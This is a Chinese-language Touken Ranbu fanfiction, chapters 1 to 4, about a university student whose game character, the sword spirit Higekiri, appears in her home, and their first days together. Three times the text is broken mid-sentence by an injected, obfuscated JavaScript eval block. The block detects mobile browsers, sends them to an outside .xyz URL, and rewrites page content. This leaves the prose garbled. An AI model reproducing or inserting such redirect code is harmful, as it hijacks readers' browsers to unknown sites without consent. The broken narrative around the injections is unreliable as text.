《源氏反穿指南》 1. 反穿第一天 虽然距离事情发生已经过去了整整一个小时,但祝虞还是觉得有种飘在半空无法落地的恍惚感。 电视里还在放着没营养的综艺,哈哈大笑的声音现在看来简直就在嘲笑她崩碎的世界观。 祝虞恍恍惚惚了许久,才终于将神游天外的理智拽了回来。 她按着突突跳动的太阳穴,直接出声打断了狐之助那一串英文夹杂中文夹杂各种公式,听上去就十分高大上的话语。 “你等一下。” 祝虞发挥自己当年语文高考做现代文阅读的归纳能力,声音凝重为狐之助的一大段不明觉厉的解释做了总结: “说了这么多,你的意思就是,这个游戏活了对吧?” 她反手指向坐在沙发上好奇打量周围的猫眼付丧神,头疼地问:“——所以才会把本该在游戏里显形的刀剑送到现实?” 头上有着红色奇特花纹的小狐狸人性化地眨了眨眼睛,然后点点头:“虽然事情真相并不是这么简单,但您说得也不算错——是的,审神者大人,您的本丸活了。” 祝虞:“……” 祝虞:“…………” 她表情空白地看向自己不小心摔在地上的手机。 被摔出蜘蛛裂纹的屏幕上,薄绿色头发的付丧神还在尽职尽责地担当近侍,因为长时间没有动作,付丧神忧心忡忡地刷出一句语音。 【兄长!兄长在不在?】 这是一句纯正的日语。 祝虞和狐之助的对话都在使用中文,一直没听懂的浅金发色付丧神在捕捉到熟悉家乡话的一瞬间便看向了地上的手机。 他歪了歪头,眼中有几分好奇,虽然没有理解为何弟弟会被困在那小盒子中,但还是笑眯眯说:“おや、弟ですね。”(哦呀,是弟弟丸呢。) 祝·纯种种花家女大学生·虞:叽里咕噜在说什么,好像在说什么欧豆豆。 祝虞:弟弟丸,别等你哥了,你哥现在被我一发入魂拉到现实了! 事情还要从一个小时前说起。 《刀剑乱舞-ONLINE-》是一款被称为“传奇耐活王”的刀剑养成模拟游戏。作为“审神者”的玩家需要率领刀剑男士组成的战队,击败作为“历史修正主义者”的敌人。 普普通通的一天,在b站难得刷到视频剪辑的祝虞心血来潮,在自己手机的犄角旮旯里找到了落灰许久的刀剑乱舞,左右闲来无事,便决定回自己爬墙已久的老家上号看一眼。 ——顺带一提,给她开门的甚至还是髭切。 玩了许久一直没有哥哥切的祝虞觉得这是一个开门红,当下便点进锻造,让近侍膝丸all350开始锻刀。 3:20的时间赫然出现在手机界面上。 众所周知,3:20是太刀的锻造时间。 再众所周知,髭切是一把太刀。 怀揣着某种兴奋忐忑期待,祝虞深呼吸,啪地甩上去一张加速符。 她看到屏幕大亮,手机中却没传来刀剑的语音。反而现实中,躺在客厅沙发上玩手机的祝虞眼前忽地被不知从哪来的樱花瓣淹没。 祝虞:“?” 她猛地瞪大了眼睛,看到片片花瓣飘落的中央,肩披白色军装的付丧神轻盈地落地,右手按在心口,柔软甜蜜的茶金色眼眸弯起。 他开口,笑眯眯说:“源氏の重宝、髭切さ。君が今代の主でいいのかい?” 祝虞:“……” 祝虞:“!” 她的手一松,手机啪嗒一声摔在了地上。 在经过了长达十多分钟的牛头不对马嘴对话后,狐之助凭空出现在两人的面前,开始上蹿下跳道歉以及解释。 按照狐之助的说法,真正的时之政府为了更高效地应对日益繁重的战事,不得不在各个世界开始寻找拥有灵力的人担当审神者。 刀剑乱舞这个游戏便是他们筛选审神者的一个方式。 所有注册游戏的人都拥有“本丸”,但只有灵力达到要求的审神者才会真正拥有一个“本丸”,这个本丸与审神者通过游戏进行链接,共同对抗时间溯行军。 而祝虞便是此世界的十分之一——珍贵的灵力拥有者。 祝虞反手指自己:“我拥有灵力?” 啊?真的假的? 狐之助点点头,继续侃侃而谈。 按照常理,时之政府应当在筛选出真正的审神者后就前往此世界,与审神者办理入职手续。 但是此世界的世界意识一直没有与时之政府谈拢交易,于是便一直这么拖了下来。 祝虞:“……所以说,难道我一直在给你们时之政府打黑工吗?” 狐之助打着哈哈:“当然不是啦审神者大人,您的本丸可是一直在时之政府的登记当中呢!” 祝虞对这句话保留意见。 不久前,此世界的世界意识受到攻击,连带着审神者与本丸的链接也被扰乱,出现了不少bug,甚至还有本丸因此永久失去了和审神者的联系,成为无主本丸。 祝虞听到这里,拎起狐之助在自己面前晃了晃:“那我的本丸呢?” 狐之助:“等、等等,不要晃狐之助!” 狐之助:“大人的本丸没有被波及,您的灵力依旧供应着本丸!” 祝虞稍稍松了一口气。 虽然是打黑工,但本丸的刀剑们是无辜的,毕竟是她一点一点肝出来的本丸,刀刀们那么可爱,她也不想让他们就此消失。 “但是您的本丸和时之政府的显形通道出了问题,”被放下的狐之助乖巧坐着,声音尖细,“在显形通道还没有修好之前,本丸所有新获得的刀剑都不会显形在本丸,而是会显形在您的身边。” 祝虞敏锐地觉察出问题:“时之政府没有和世界意识谈妥,那你又是怎么来到这里的?” 狐之助目移:“嘛,就是这样那样,然后就暂时来到这里和审神者大人说明情况啦。” ——懂了,偷渡过来的。 祝虞冷笑:“我就是在给你们时之政府打黑工吧。” 狐之助:“总、总而言之,在和世界意识谈拢之前,就请审神者大人暂且忍耐一下!时之政府是正经政府,我们一定会给您办入职手续、签劳动合同的!” 祝虞对狐之助的后半句话保持怀疑。 但她没说,而是视线一转落到安静看着他们的付丧神身上。 似是觉察到她的注视,付丧神对她弯了弯眼眸,样子很是无辜。 髭切,源氏重宝之一,一位有着茶金色猫眼、人美声甜的白切黑付丧神,最大的特点就是永远记不住自己亲弟弟膝丸的名字——虽然大家都知道这只是因为他非常恶趣味的性格。 但是该说不说,付丧神的这张脸就算从二次元放到了三次元,杀伤力也很强呢。 祝虞重新看向狐之助:“那他该怎么办?就只能先留在我这边了吗?” 虽然很喜欢哥哥切,但纸片人成真带来的问题可不是只靠一腔热爱就能解决的。 最基本的问题——她一个没有工作只有兼职的女大学生,应该怎么瞒着身边父母朋友养活两个人? 而且还是一个没有身份证没有现代世界生活常识的陌生男人。 ——这跟狗血小说里面捡了个来路不明野男人回来的烂俗剧情有什么区别? 单是想想就要被她的父母打电话报警上法制节目的节奏。 狐之助心虚地舔了舔爪子,说:“和世界意识谈拢建立快速通道后,您就可以和本丸进行来往。在此之前,髭切殿只能暂时留在此世界了。” 很好。 祝虞心想,年纪轻轻还没毕业,她就要过上赚钱养男人养孩子(本丸)的社畜生活了呢。 这是不是另外一种意义上的“本科毕业已有七年工作经验”呢? 哈哈。 真是天选牛马。 狐之助眼睁睁看着面前穿着单薄睡衣的女人露出一个淡淡死感的微笑,偏偏浑身上下散发着像是暗堕了一般的阴郁气场。 不仅它的毛发根根炸起,就连乖巧坐在沙发上的付丧神也敏锐地看了过来。 ——是生气了吗? 刚刚显形的付丧神慢吞吞地想了想。 实际上自显形到现在,髭切也没有很清楚现在是什么情况,似乎他原本应该出现在本丸,而非这里。 虽然那只小狐狸很困扰的样子,但髭切倒是不觉得有什么。 他是为这一代的家主而来的,除家主和弟弟之外的事情,对他而言都没什么所谓。 他从沙发上站起来,猫一样无声无息地走到了站在客厅中央的女人身旁,像是观察了她片刻。 没人知道他思索了什么,在一人一狐的注视下,他保持着柔软微笑,忽然将手搭在了刀柄。 旋即,出其不意“唰”地一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268181|182180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽刀横斩。 “哇哇哇!不要斩狐呀!!” “等、——桥豆麻袋啊啊啊啊现在是法治社会啊啊!” 刀锋的气流将地上散落的花瓣全部扬起,铺天盖地的淡粉色樱吹雪中,付丧神微微垂眼,声音轻缓说:“いざ、出陣だね。” ——是时候要出阵了呢。 虽然依旧站在自己的客厅中,祝虞却依旧怔了一瞬。 但只有一瞬。 下一瞬—— “阿尼甲你斩狐就斩狐不要斩我的桌子啊啊!” “狐也不可以斩呀!” 兵荒马乱之后,侥幸捡得一条性命的的狐之助瑟瑟发抖,缩在客厅的另一端,和被没收刀具的付丧神隔着遥远的对角线。 它挤了几滴狐之助的眼泪,声音凄惨:“总之,拜托审神者大人了,狐之助一定给时之政府打报告让他们加速给您办入职手续的。” 说完这句话,它把可以和时之政府联络的通讯器留下,啪地一声拍上时空转换器,打开通道的样子颇有逃命般的狼狈。 怀中抱着长长刀具的祝虞:“诶等一下!我怎么能不让那些新获得的刀剑显形?” 来一个就够了,再来一个她真的害怕自己一个不注意,还没毕业就担上一个犯罪分子同伙的罪名。 这样她以后还怎么考公啊!你们付丧神知不知道现在找工作有多难吗! 狐之助的声音从即将消失的通道中飘来。 “审神者大人放心,我会把您的命令传达给本丸的。在显形通道修好前,您在对战中捡到的所有刀剑都只保持本体状态,不会被唤醒!” 祝虞松了一口气。 狐之助离开了,客厅中顿时只剩下祝虞和髭切一人一刀。 祝虞偷偷观察着自己面前的付丧神。 祝虞的本丸里没有髭切,但她有膝丸。既然有膝丸,她自然也知道一点关于髭切的事情。 除了永远“记不住”弟弟的名字外,这是个性格很是超凡脱俗的付丧神。 ……如今看来说得一点也没错。 祝虞自认为打量的目光很是隐蔽,但对天生感官敏锐的付丧神而言和光明正大盯着他没有区别。 浅金色短发的付丧神忽地侧过头,与来不及收回目光的女人四目相视。 祝虞:“……” 她尴尬地说:“呃、呃……哦嗨呦。” 付丧神没有反应。 祝虞迟疑。 “你好”应该是这么发音吧?她应该没有说错吧? 就在她怀疑自己的时候,付丧神似乎向旁瞥了一眼窗外,然后转过头来慢吞吞地说:“こんばんは,当主。”(晚上好,家主。) 祝虞没听懂他在说什么,但应该就是某种回应吧? 她“嗯嗯”地点头,准备先给付丧神说明一下现在的情况。 髭切饶有兴趣地看着女人低头噼里啪啦地按着一个方块,然后向他招招手,他顺从地微微俯身,听到一道没有什么感情的女声从那个方块中传来。 而祝虞看着他的动作,在内心双手合十,无比虔诚地想:感谢现代科学技术发展,竟然能让一个平安京老刀和一个21世纪女大学生对话。 趁着这个时间,祝虞开始思考今晚该怎么度过。 睡一觉倒是没什么问题,她如今住的房子是两室一厅,空闲的那个卧室平日里没人住被她当做仓库使用,但稍微打扫一下就能住人。 洗漱也可以先用从酒店薅回来的一次性牙刷牙膏等等零碎东西充当,等明天再出去购买。 至于衣服……说起来,她之前网购不小心买大尺码的那件衣服,他能穿吗? 祝虞正在认真思索着那件衣服被她放到了哪里,就听旁边响起来付丧神的声音。 她没听懂,但翻译软件忠实地逐字逐句地将付丧神的话翻译在了她的面前。 他说:【家主,你在苦恼吗?】 祝虞:“呃,还好?” 付丧神直勾勾地盯着她,或许是因为祝虞平日里见到的都是黑发黑眼的种花家人,而此时髭切的那双茶金色的眼瞳在逆光的状态下,竟然让她产生一种非人的微妙压迫感。 而下一瞬,他弯了弯唇角,风轻云淡说:【若是让家主苦恼,便直接将我压回本体,等到通道修好后再唤醒我吧。】 他的声音甚至有几分笑意:【这样家主就不用苦恼啦。】 2. 反穿第二天 祝虞有些古怪地瞧了一眼说出此话的付丧神。 “我为什么要把你压回本体?”她说,“你已经显形了。” 祝虞示意他看自己怀中的刀具:“这是刀。” 旋即她腾出一只手,指了指付丧神:“你是人。” “你被迫在现世显形,而我是你的……家主,”祝虞艰难地把那两个字说出口,一鼓作气下了结论,“你又不是什么可以随便放置的死物,既然已经显形了,那我会对你负责的,不用担心。” 髭切盯了她几瞬。 祝虞被他直勾勾的眼神看得心里发毛。她不动声色地瞥了一眼手机屏幕。 不是吧,到底是她的表达有问题还是翻译软件有问题? 祝虞心中打鼓。 她应该没有说什么讨厌他的话吧?难道她很像是那种冷酷无情一点人文关怀也没有的领导吗? 下属被迫在外地出差,当领导的当然要照顾一下下属啊。 难道不说话的意思是默认吗? 祝虞猜测着,反正他没反对,索性不再管他的眼神,转身准备去帮他翻收起来的洗漱用品。 但她忘了自己怀中还抱着对方的本体,长长的刀具在转身向前走的一瞬间绊了她一下,祝虞踉跄着,肩膀被一只宽厚的手掌稳稳按住。 这只手没有使多大力气,却存在感十足。 祝虞冷不丁地顿住,在她站稳后那只手很快收回,顺便轻巧地将碍事的刀具从她的怀中抽出来。 头顶的付丧神似乎说了一句话,因为距离太远没有被翻译软件检测到,祝虞有些茫然地抬头看他:“什么?” 有着茶金色猫眼的付丧神对她露出一个温软的笑,重新开口,尾音拖长,有点懒洋洋的。 这一次,翻译软件忠实地将他的话呈现在祝虞的面前。 【请多关照了,家主。】 - 因为时间有些晚,祝虞只好先翻出来一次性的洗漱用品和没穿过的衣服交给髭切,让他先将就一晚,明天早上她再带他去商场购置必需品。 卫生间中,她将牙刷牙膏等洗漱用品一字排开放在洗漱台上。 “这个,刷牙的。” “这个,洗脸的。” “这个,向左拧是冷水,向右拧是热水。” …… 祝虞一口气说完,然后转头去看换下军装,穿着一身短袖长裤站在门口认真看着她的髭切。 “会了吧?” 经过方才换衣服时手忙脚乱的沟通,如今他们两人已经达成共识:能用肢体语言回答的问题就不要用语言。 于是付丧神乖巧点头,附赠一个甜蜜微笑。 祝虞心中升起莫大的成就感,她放下心来,走出卫生间时顺手拍了拍对方的肩膀以表嘉奖。 到底是谁说人家是失智老刀的嘛。 她心满意足地想,这不是很靠谱嘛! 趁着髭切洗漱的时间,祝虞终于有时间去检查自己的手机。 她的手机经过刚才的兵荒马乱不幸阵亡,被摔出了一道极其明显的裂纹,好在应该只是表面钢化膜破碎,只需要去换个膜就能用。 ……说到换膜,她是不是应该给髭切也准备一部手机,毕竟是现代社会,没手机怎么生存。 好像她还有一部旧手机在家里,只是屏幕碎了所以才被她喜新厌旧舍弃了,等明天去换膜的时候干脆把旧手机拿去修一下吧。 祝虞按亮屏幕,没有退出的游戏顿时出现在眼前。 她和屏幕中央的薄绿发色的付丧神对视一眼,这次没有出现大变活人的意外,付丧神只是安静地看着她。 看样子虽然本丸活了,但没有完全活,至少不能让她隔着手机屏幕和里面的刀剑们对话。 祝虞抿抿唇,又去翻了翻刀帐。 锻冶所的锻刀履历和刀帐中都有髭切的记录,但是她没有翻到【髭切】这把刀,看来狐之助说的没错,只是显形通道出了问题,这才让本不该在现世中显形的刀剑被送到了她的身边。 也不知道什么时候和本丸的通道可以修好。 祝虞胡思乱想着,忽然听到身后传来推门的声音,她没有回头,于是那人自觉地绕到她的面前,蹲下。 祝虞看着他湿漉漉的眼睫,视线顺着一滴水划过面颊,才恍然大悟:“哦!忘记帮你拿毛巾了。” 她从沙发上跳下来,匆匆忙忙地去卫生间的抽屉里翻干净毛巾,然后又急急忙忙地跑出来。 付丧神依旧蹲在沙发旁,只是微微偏头看着她,眼珠随着少女的动作而轻轻转动,脸上的情绪看不太出来是开心还是别的什么。 但不知是不是身上那件绘着可爱小猫图案的短袖缘故,祝虞总是幻视一只食饱餍足的金毛狮子在打盹,时不时因为她的动作而宽容地甩甩尾巴,懒洋洋的。 她甩甩头,将那些有的没的按捺下去,将毛巾递给狮王——啊不是——髭切,然后指了指他微微被水浸透的领口,用动作示意他擦干。 ……被当小孩子照顾了呢。 髭切看着她亮晶晶的眼睛,慢吞吞地用毛巾擦拭着自己脸上的水渍。 洗漱完后就是睡觉的时间,方才髭切已经帮忙把她隔壁当做杂物间的卧室收拾了出来,虽然屋子不大,但睡觉还是足够的。 和对方约定第二天早上八点半出门、互道晚安后,祝虞回到自己的卧室。 她“嘭”的一声倒在床上,柔软的床垫让她弹了弹,然后彻底不动了。 身下没叠的薄被硌在腹部,有点疼,但祝虞无视了这点不舒服,掏出手机就开始搜索和【髭切】有关的事情。 说来也怪,祝虞从上初中时就开始玩刀剑乱舞,虽说经常三天打鱼两天晒网,但好歹也是一个老玩家,俗话说只要玩得久没有什么得不到,而且她的运气其实还不错,像是三日月小乌丸这类五花太刀乱舞早就有了好几把,就连膝丸也早已满乱舞等级。 偏偏就是没有一把髭切。 搞得她都怀疑自己是不是天生就和髭切八字不合,所以一把髭切也不来她的本丸,于是越发对源氏的独苗苗弟弟丸怜爱。 虽然她看同人文时也看到过髭切,但对髭切的了解真的很少。 ……至少比膝丸少。 如果是弟弟丸在这里,至少应该不会这么尴尬吧? 祝虞悲伤叹气,继续看资料。 根据髭切在本丸的语音来看,虽然不知道他讨厌什么,但他对源氏家主类型的人应该不讨厌吧? 只要她平常表现得靠谱一些、有能力一些,或许能和他更快地打好关系? 然而下定决心要成为一个“靠谱家主”的某人实际上没看两页资料就开始眼皮上下打架,最后两眼一闭,不知何时睡了过去。 等第二天醒来,没电关机的手机掉在枕头和床头的缝里,多日的假期生活早就让祝虞摆脱了必须早起的痛苦,是以一觉睡醒的祝虞看了一眼昏暗的卧室,翻翻身准备继续睡回笼觉。 一分钟后。 意识到不对劲的祝虞连滚带爬地打开卧室门。 ——穿着小猫短袖的浅金发色付丧神乖巧地坐在沙发上,似乎在研究墙上悬挂的显示“九点三十二分”的钟表。听到动静他寻声看来,向顶着一头乱毛冲出来的少女眨了眨眼睛。 祝虞:“……” 完了,出师未捷身先死了。 两分钟后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268182|182180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “不好意思啊,我的手机没电关机了,昨晚定的闹钟没有响。”祝虞羞愧地对着沙发上早已洗漱好等待出门的付丧神连连道歉,“等很久了吧,你可以来敲门叫我的。” 真是丢人丢到家了。 第一天出门就睡过头迟到,这还怎么营造我“可靠家主”的形象啊! 祝虞在心中郁闷,余光忽地瞥见面前沙发上的付丧神抬起手,轻轻按了一下她的脑袋。 祝虞:“?” 这是在摸头吗? 她不明所以地抬头,看见髭切指了指她的头发,开口时放在两人身旁的手机将他的话翻译出来:“头发翘起来了呢,家主。” 祝虞:“……” ——更想死了呢。 - 等到两人收拾好东西出门,已经是约定时间的一个半小时后了。 八月份的北方,上午十点钟还不算很晒,但昨夜似乎下了雨,铅灰的云层没有散去,空气中带着潮湿而凝滞的热气。 小区看门的大爷坐在保安室的外面,拿着蒲扇有一搭没一搭地扇着,汗水顺着他面颊上深壑的皱纹滚落,在胸前洇开一片深色痕迹。 祝虞也热得冒汗,走出门时的凉爽很快就不见了,正巧拐角处就是一家蜜雪x城,于是她转头想去问髭切要不要喝点凉的。 然而她一转头就沉默了。 旁边的付丧神察觉到她的视线,侧目投来询问目光。 祝虞发自内心地询问:“你不热吗?” 髭切:“家主很热吗?” 祝虞看着他干爽的脸颊,在征得允许后甚至上手摸了摸他的手掌——非常恐怖的,在这闷热的环境中竟然干燥冰凉。 她肃然起敬:“不愧是刀子成精。” 这句话她没让翻译软件翻译,髭切没听懂,但是对她说了一句“阿里嘎多”。 祝虞:“……” 她干咳一声,转移话题说:“在外面的时候你最好不要叫我家主。” 虽然大家都是种花家人,但万一有人会日语能听懂他的话,大庭广众之下只有某个圈子的人才会这么叫人。 祝虞觉得她脸皮还是很薄的,暂时还不想大学还没毕业就一炮而红。 髭切问她那应该叫什么。 祝虞思索了一会。 最平常的办法就是叫她的全名,但是祝虞这么多年二次元也不是白混的,君不见各种同人小说中被得知真名的审神者们大都被神隐起来酱酱酿酿,下场颇为凄惨。 可是髭切如今和她都在现世,和她同吃同住,迟早都会知道她的姓名。 而且,髭切应该不是一把喜欢神隐别人的刀剑吧? 祝虞左思右想,还是退后一步说:“那你叫我小虞吧。” 【小虞。】 说出口的瞬间,一股无形的力量将他和名字的主人牵连起来。虽然力量还很薄弱,可却难以令人忽视。 髭切一顿,看了一眼面前无知无觉,还在认真教他发音的少女。 她看上去年纪不大,个子虽然不算矮但身形很瘦弱,像是常年不好好吃饭,手腕伶仃到让他轻而易举就能压制住她的所有反抗。 付丧神的目光在她的手腕上停留了一瞬,而后轻飘飘地收了回来,字音清晰地道:“小虞。” 祝虞满意地应了一声。 很好,看来她很有当语言老师的天赋嘛。 解决完髭切的问题,祝虞开始解决自己的问题。 她说:“我也不能叫你髭切。” 于是髭切又问,她要叫他什么。 这个问题的答案祝虞早就想好了,当下便毫不犹豫地开口: “哥哥。” 3. 反穿第三天 祝虞叫哥哥叫得毫无心理负担。 如果是在私底下,她叫阿尼甲会更加顺口——当然现在她还不太敢说网上那些口嗨的话。 髭切也没有对这个称呼提出什么意见,按照他的话—— “名字什么的,无所谓啦。” 要祝虞来说,对他而言无所谓的事情可不止是名字。不如说他从显形后,除了一开始提出可以压回本体的建议外,其他一概都没意见,全凭祝虞做主,让做什么做什么,非常省心。 比如说买什么样的衣服。 祝虞对于挑选男装没什么经验,就算是买,也基本都是网购送货到家,没怎么花过心思。 不过她觉得这不算是什么大问题。虽然不怎么挑选男装,可她经常给自己买衣服啊,男装女装总归都是衣服嘛,看看价格,再比对一下质感和穿起来好不好看就行了。 顶着导购小姐的热情推荐,她用眼睛丈量了一下髭切的身材,然后极为果断地刷刷刷拿了好几件衣服,把他推到试衣间里。 身材好就是容易买衣服啊。 她心中感叹着。趁着等待的时候,祝虞掏出手机给自己学日语的朋友发消息,问她有没有速成日语、或者让一个日本人速成汉语的办法。 她和狐之助通讯过,得知像是他们这种跨国工作、语言不通的审神者如果想和自家付丧神交流,一般都是用灵力。 毕竟灵力所出同源,付丧神也是依靠审神者的灵力才能活动的,双方想理解对方的话自然很简单,小小的术法就能解决。 如果按照正常流程,她应该是先经过时之政府培训,掌握了灵力的基本使用方法,才会正式前往本丸与付丧神们见面。 然而祝虞半路出家,她连自己拥有灵力都是昨天刚刚得知,至于什么术法更是一窍不通,和髭切的见面更是称得上震碎世界观的天崩地裂。 不过考虑到这种情况也是时之政府造成的,狐之助也在通讯中表示,时之政府会尽快派专人指导她使用灵力。 至于没学会使用术法的现在,祝虞只能自求多福。 学日语的朋友很快有了回复。 她先是打了一个“?”,然后语出惊人—— 【不是吧姐们,你谈恋爱真谈上洋人了?】 祝虞:“。” 她这才注意到自己和朋友的上一句聊天还是分享视频,调侃说这个外国小哥长得不错,身材也很慷慨。 ……配合自己这个没头没尾的问题的确很让人误会。 祝虞捏着手机久久无语,好半晌才解释说:【有一个日本的远房表哥回国玩几天,暂时住在我这边,我总不能总是拿着翻译器和他交流吧?】 朋友:【你这表哥正不正经啊,他比你大吧?没有经济能力?竟然蹭你这个还没工作贫穷大学生的房子。】 祝虞心想他当然比我大,大几千岁呢。 至于经济能力……实不相瞒,对比他来说,我都可以算是包养他的富婆。 但这些话没法说出来,祝虞半真半假地敷衍了过去,朋友也就不在多问了,给她转了几个学日语的视频,又发来几个书名让她对照着大致学一学,至少日常用语就没什么问题了。 她顺手点进那几个日语视频,有些无所事事地看着,心想髭切怎么还没出来,他该不是不会穿吧? 不对啊,他又不是三日月那振不擅穿衣的刀。 正思索着,面前的试衣间被人从里面推开了,一道人影慢慢走出。 祝虞一愣。 下一刻,她鬼使神差般的,将手中还未息屏的手机抬起。 “咔嚓。” 试衣间上方柔和的灯光倾洒而下,付丧神浅金色的发丝愈发明亮,微微抬起的脸庞在灯光下显出清晰的轮廓。 髭切身后巨大的试衣镜映出拿着手机的祝虞,敏锐察觉家主视线的付丧神在最后一瞬抬头,本能地去捕捉她的身影,眸光停留着没有来得及收回的锋利。 世界仿佛在此时忽然对准了焦距,清晰而锐利地映出镜子内外两道人影,像是虚幻与现实的重叠,在祝虞手指按下快门键的瞬间—— 那道被光浸润的身影、被他注视的少女,连同这个骤然明亮、骤然安静的瞬间,都被永久地定格在这一张图片之中。 不是做梦,不是幻觉,不是她终于压力大到有了精神病。 而是真实的、清晰的,站在她面前的,被她记录了下来。 静默的空气中,髭切自顾自地走过来,在祝虞没有反应过来的时候,忽然伸手握住了她拿着手机的那只手。 祝虞好半晌才回神。 “怎么了?” 付丧神的唇边是一如往常的笑,他说了一句话,只是祝虞没来得及打开翻译软件,当时并不知道他说了什么,只是记住了那句话的发音。 但她听出来最后的一个单词,所以本能地纠正他:“不要叫我家主,叫我小虞。” 髭切看着她,笑眯眯地拍了拍她的头。 祝虞觉得这和她摸小动物的手法没什么区别。 后来她对着翻译软件磕磕绊绊地复述,才知道他当时毫无征兆地抓着自己的手在说什么。 他说:“我在这里哦,家主。” - 祝虞最后还是把那几套衣服都买下来了。 不为别的,她觉得人家好歹是堂堂源氏重宝,放在哪个时代不是被人香花供养顶礼膜拜?没道理跟了她就拮据到连几套换洗衣服都没有吧,要是被人知道了,说不定日本政府会怒斥她暴殄天物、不尊重他们的文物…… 嗯,重点是她还是有一点钱,能勉强再养一个人的。 离开服装店,祝虞走在前面,拎包的髭切落后她一步。 祝虞将自己刚刚拍到的照片备份一份上传到其他地方收藏,然后转头问道:“你想吃什么?” 没等髭切回答,她又自顾自地说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268183|182180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算了,你肯定会说都可以。我应该问你不吃什么。” 她思索着自己昨晚连夜查阅的资料,问道:“你可以吃肉吗?” 好像平安时代有什么“禁肉令”,那些公卿贵族都不吃肉,祝虞不太清楚平安时代源氏家族诞生的髭切有没有这个习惯。 髭切的左右手都被袋子占据,但本人看上去还是很轻松,甚至还能轻轻柔柔地对她笑了一下。 “是说人肉吗?” 祝虞:“……?” 祝虞:“呃,呃,当然不是。” 她像是才意识到自己问一振刀吃不吃肉有多么奇怪——作为刀剑,最常接触的肉就是人类的血肉,而非大众意义上的兽肉吧。 更何况他化形才两天,跟小孩有什么区别,他懂什么呢。 祝虞说服了自己,拉着他认真解释:“不是人肉哦,是牛羊鸡鸭鱼等等这些动物的肉。还有现在是和平年代,流血杀人都是不被允许的。” 髭切:“我不能带本体出来,也是这个原因吗?” 这是在说今天早上出门的事。 祝虞匆匆忙忙收拾好东西然后去叫髭切,转头就看到他从沙发上站起来,拿着自己的本体刀走到了她的面前。 祝虞被他吓了一跳,反应过来后连忙拿过他手中的刀具,举在胸前,宛如捧着炸弹一般诚惶诚恐而小心翼翼地放到她特意腾出来的谷子展示架上。 此时,她挠了挠自己的脸,然后说:“因为人类是很脆弱的。” “如果你拿着刀出门,大家会觉得奇怪;如果你抽刀砍人,那大家就会像受惊吓的小鱼一样慌慌张张地逃走、躲在水草里瑟瑟发抖。” 髭切听出来一个“小虞”的读音。 他觉得有点可爱。 “那小虞会怎样呢?”他问道。 祝虞不知道他在想什么,认真说:“然后我就要和你一起被抓去警察局。” 髭切:“那我们会怎样呢?” 祝虞已经看好了要去哪一家店吃饭。她一手拽着莫名其妙要刨根问底的付丧神,一边说:“不怎么样,等着你弟弟带着狐之助来捞我们吧。” 站在门口的小姐姐保持着亲切热情的微笑,走过来问他们几位。 祝虞给她比了一个“2”的手势,礼貌说道:“麻烦帮我们选一个人少的地方,谢谢。” 小姐姐看了一眼他们两人的装扮,重点放在浅金色头发、茶金色眼眸、一看就不是寻常人的髭切上。 她了然点头,引着他们走到一个比较隐蔽的角落,小声说:“您放心,我们家对于顾客隐私一向很重视,绝不会过多透露。” 祝虞觉得她误会了什么。 直到点完单,祝虞才听到坐在对面的髭切像是慢了半拍说:“唔,如果弟弟丸来,那也可以呀。” 祝虞:“重点是这个吗?” 许久,她妥协:“……好吧,现在不可以,我的钱包不允许。” 4. 反穿第四天 吃饭时没有什么事情发生,只在要离开时有一段小插曲。 祝虞从卫生间出来,却没看到本该守在门外的髭切。她茫然地左右看了看,正要找服务员询问,嘈杂人声中一段磕磕绊绊的日语忽然清晰地传入她的耳朵。 祝虞立刻循声看去,首先看到的是付丧神极显眼的浅金头发,其次是围在他身边的两个女孩。 这个站位很像是在被质问什么,尤其是付丧神怀里抱着一大堆东西,只露出一双无辜的猫眼。 祝虞心中顿时咯噔一声。 不会吧,她只是一会儿的功夫不在,难道他就闯祸了? 祝虞匆匆忙忙地走过去,还未靠近,付丧神便敏锐地抬起头,隔着人群捕捉到她的注视,弯眸微笑了一下。 伴随着一道清晰的抽气声,祝虞看到髭切身前其中一个女孩猛掐朋友的胳膊,眼神如狼似虎:“卧槽,这和哥哥切也太像了吧!” 祝虞:“……” 能不像吗,这可是真的哥哥切。 不过此话一出,祝虞也就不着急过去了。 我懂,二次元嘛! 经过简单沟通,祝虞终于知道在她去卫生间的短短几分钟内发生了什么。 两个女孩以为自己出门吃饭遇到了一个超级还原的coser老师,于是鼓起勇气想要来集邮,交流时却发现这好像是个真·日本人,只好和祝虞一样借助翻译器沟通。 但是她们说得有点太专业,髭切大概也没看懂,牛头不对马嘴交流,最后结果就是僵持在了这里。 这件事情祝虞出门时就早有预料,之前也让髭切戴了帽子和口罩,只是刚刚吃饭才摘掉,没想到马上就能遇到认识他这张脸的同好。 原来我身边还是有玩刀剑乱舞的人啊。 